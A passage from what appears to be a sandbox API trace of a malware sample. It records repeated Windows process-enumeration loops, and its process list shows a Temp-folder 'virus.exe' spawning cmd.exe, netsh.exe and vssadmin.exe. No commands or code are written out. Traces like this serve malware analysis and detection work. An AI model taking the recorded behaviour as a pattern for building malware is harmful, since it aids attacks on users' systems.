lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0234.021] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.021] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0234.022] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0234.022] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0234.023] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0234.023] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0234.023] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0234.024] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0234.024] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0234.025] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0234.025] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0234.026] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.026] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0234.027] CloseHandle (hObject=0x1b4) returned 1 [0234.027] Sleep (dwMilliseconds=0x1f4) [0234.565] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0234.567] Process32FirstW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.567] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0234.568] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0234.568] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.568] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0234.569] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.569] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0234.569] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0234.570] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0234.570] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0234.570] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.571] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.571] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.571] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.572] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.572] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0234.572] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.573] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.573] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0234.573] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0234.574] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0234.574] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0234.574] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.575] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0234.575] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0234.575] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0234.576] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0234.576] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0234.576] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0234.577] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0234.577] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0234.577] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0234.578] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0234.578] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.578] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0234.579] CloseHandle (hObject=0x1ac) returned 1 [0234.579] Sleep (dwMilliseconds=0x1f4) [0235.085] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0235.087] Process32FirstW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.088] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0235.088] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0235.088] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.089] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0235.089] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.089] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0235.090] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0235.090] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0235.090] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0235.091] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.091] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.091] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.092] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.092] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.092] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0235.092] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.093] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.093] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0235.093] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0235.094] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0235.094] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0235.094] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.095] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0235.095] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0235.095] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0235.096] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0235.096] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0235.096] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0235.097] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0235.097] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0235.097] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0235.098] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, 